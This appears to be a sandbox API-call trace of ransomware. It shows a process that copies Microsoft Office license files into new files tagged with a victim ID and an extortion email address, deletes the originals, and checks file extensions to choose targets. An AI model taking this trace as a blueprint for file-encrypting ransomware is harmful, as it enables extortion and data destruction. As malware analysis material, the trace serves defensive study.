	[0175.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.407] GetLastError () returned 0x0
	[0175.407] ReadFile (in: hFile=0x524, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x4dd7, lpOverlapped=0x0) returned 1
	[0176.025] WriteFile (in: hFile=0x554, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0176.026] ReadFile (in: hFile=0x524, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.026] WriteFile (in: hFile=0x554, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10e, lpOverlapped=0x0) returned 1
	[0176.027] SetEndOfFile (hFile=0x554) returned 1
	[0176.027] CloseHandle (hObject=0x554) returned 1
	[0176.027] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.027] SetEndOfFile (hFile=0x524) returned 1
	[0176.030] CloseHandle (hObject=0x524) returned 1
	[0176.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0176.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.032] lstrlenW (lpString=".doc") returned 4
	[0176.032] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.032] lstrlenW (lpString=".docx") returned 5
	[0176.032] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.032] lstrlenW (lpString=".pdf") returned 4
	[0176.032] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.032] lstrlenW (lpString=".xls") returned 4
	[0176.032] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.032] lstrlenW (lpString=".xlsx") returned 5
	[0176.032] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.032] lstrlenW (lpString=".ppt") returned 4
	[0176.032] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.032] lstrlenW (lpString=".zip") returned 4
	[0176.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.032] lstrlenW (lpString=".rar") returned 4
	[0176.032] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.032] lstrlenW (lpString=".bz2") returned 4
	[0176.032] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.032] lstrlenW (lpString=".7z") returned 3
	[0176.032] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.032] lstrlenW (lpString=".dbf") returned 4
	[0176.032] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.033] lstrlenW (lpString=".1cd") returned 4
	[0176.033] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.033] lstrlenW (lpString=".jpg") returned 4
	[0176.033] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.033] lstrlenW (lpString=".doc") returned 4
	[0176.033] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString=".docx") returned 5
	[0176.033] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.033] lstrlenW (lpString=".pdf") returned 4
	[0176.033] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString=".xls") returned 4
	[0176.033] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString=".xlsx") returned 5
	[0176.033] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.033] lstrlenW (lpString=".ppt") returned 4
	[0176.033] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.033] lstrlenW (lpString=".zip") returned 4
	[0176.033] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString=".rar") returned 4
	[0176.033] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.033] lstrlenW (lpString=".bz2") returned 4
	[0176.033] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.034] lstrlenW (lpString=".7z") returned 3
	[0176.034] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.034] lstrlenW (lpString=".dbf") returned 4
	[0176.034] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.034] lstrlenW (lpString=".1cd") returned 4
	[0176.034] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0176.034] lstrlenW (lpString=".jpg") returned 4
	[0176.034] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.034] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0176.034] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23
	[0176.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0176.038] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=20967) returned 1
	[0176.038] CloseHandle (hObject=0x524) returned 1
	[0176.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220
	[0176.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0177.462] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.462] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.467] GetLastError () returned 0x0
	[0177.467] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x51e7, lpOverlapped=0x0) returned 1
	[0177.471] WriteFile (in: hFile=0x37c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x51f0, lpOverlapped=0x0) returned 1
	[0177.473] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.473] WriteFile (in: hFile=0x37c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x102, lpOverlapped=0x0) returned 1
	[0177.473] SetEndOfFile (hFile=0x37c) returned 1
	[0177.474] CloseHandle (hObject=0x37c) returned 1
	[0177.474] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.474] SetEndOfFile (hFile=0x4bc) returned 1
	[0177.479] CloseHandle (hObject=0x4bc) returned 1
	[0177.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1
	[0177.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.481] lstrlenW (lpString=".doc") returned 4
	[0177.481] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.481] lstrlenW (lpString=".docx") returned 5
	[0177.481] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.481] lstrlenW (lpString=".pdf") returned 4
	[0177.481] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.481] lstrlenW (lpString=".xls") returned 4
	[0177.481] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.481] lstrlenW (lpString=".xlsx") returned 5
	[0177.482] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.482] lstrlenW (lpString=".ppt") returned 4
	[0177.482] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.482] lstrlenW (lpString=".zip") returned 4
	[0177.482] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.482] lstrlenW (lpString=".rar") returned 4
	[0177.482] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.482] lstrlenW (lpString=".bz2") returned 4
	[0177.482] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.482] lstrlenW (lpString=".7z") returned 3
	[0177.482] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.482] lstrlenW (lpString=".dbf") returned 4
	[0177.482] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.482] lstrlenW (lpString=".1cd") returned 4
	[0177.482] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.482] lstrlenW (lpString=".jpg") returned 4
	[0177.482] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.483] lstrlenW (lpString=".doc") returned 4
	[0177.483] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.483] lstrlenW (lpString=".docx") returned 5
	[0177.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.483] lstrlenW (lpString=".pdf") returned 4
	[0177.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.483] lstrlenW (lpString=".xls") returned 4
	[0177.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.483] lstrlenW (lpString=".xlsx") returned 5
	[0177.483] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.483] lstrlenW (lpString=".ppt") returned 4
	[0177.483] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.483] lstrlenW (lpString=".zip") returned 4
	[0177.483] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.483] lstrlenW (lpString=".rar") returned 4
	[0177.483] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.483] lstrlenW (lpString=".bz2") returned 4
	[0177.483] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.483] lstrlenW (lpString=".7z") returned 3
	[0177.483] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.484] lstrlenW (lpString=".dbf") returned 4
	[0177.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.484] lstrlenW (lpString=".1cd") returned 4
	[0177.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0177.484] lstrlenW (lpString=".jpg") returned 4
	[0177.484] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.484] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.484] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25
	[0177.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0177.486] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11576) returned 1
	[0177.486] CloseHandle (hObject=0x4bc) returned 1
	[0177.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0177.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0177.487] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.487] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.491] GetLastError () returned 0x0
	[0177.491] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d38, lpOverlapped=0x0) returned 1
	[0177.493] WriteFile (in: hFile=0x37c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0177.495] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.495] WriteFile (in: hFile=0x37c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x106, lpOverlapped=0x0) returned 1
	[0177.496] SetEndOfFile (hFile=0x37c) returned 1
	[0177.496] CloseHandle (hObject=0x37c) returned 1
	[0177.496] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.496] SetEndOfFile (hFile=0x4bc) returned 1
	[0177.502] CloseHandle (hObject=0x4bc) returned 1
	[0177.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1
	[0177.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.739] lstrlenW (lpString=".doc") returned 4
	[0177.739] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.739] lstrlenW (lpString=".docx") returned 5
	[0177.739] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.739] lstrlenW (lpString=".pdf") returned 4
	[0177.739] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.739] lstrlenW (lpString=".xls") returned 4
	[0177.739] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.739] lstrlenW (lpString=".xlsx") returned 5
	[0177.739] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.739] lstrlenW (lpString=".ppt") returned 4
	[0177.740] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.740] lstrlenW (lpString=".zip") returned 4
	[0177.740] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.740] lstrlenW (lpString=".rar") returned 4
	[0177.740] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.740] lstrlenW (lpString=".bz2") returned 4
	[0177.740] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.740] lstrlenW (lpString=".7z") returned 3
	[0177.740] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.740] lstrlenW (lpString=".dbf") returned 4
	[0177.740] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.740] lstrlenW (lpString=".1cd") returned 4
	[0177.740] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.740] lstrlenW (lpString=".jpg") returned 4
	[0177.740] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.741] lstrlenW (lpString=".doc") returned 4
	[0177.741] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.741] lstrlenW (lpString=".docx") returned 5
	[0177.741] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.741] lstrlenW (lpString=".pdf") returned 4
	[0177.741] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.741] lstrlenW (lpString=".xls") returned 4
	[0177.741] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.741] lstrlenW (lpString=".xlsx") returned 5
	[0177.741] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.741] lstrlenW (lpString=".ppt") returned 4
	[0177.741] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.741] lstrlenW (lpString=".zip") returned 4
	[0177.741] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.741] lstrlenW (lpString=".rar") returned 4
	[0177.741] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.741] lstrlenW (lpString=".bz2") returned 4
	[0177.741] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.741] lstrlenW (lpString=".7z") returned 3
	[0177.741] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.742] lstrlenW (lpString=".dbf") returned 4
	[0177.742] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.742] lstrlenW (lpString=".1cd") returned 4
	[0177.742] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0177.742] lstrlenW (lpString=".jpg") returned 4
	[0177.742] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.742] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.742] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43
	[0177.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.744] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=22224) returned 1
	[0177.744] CloseHandle (hObject=0x54c) returned 1
	[0177.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
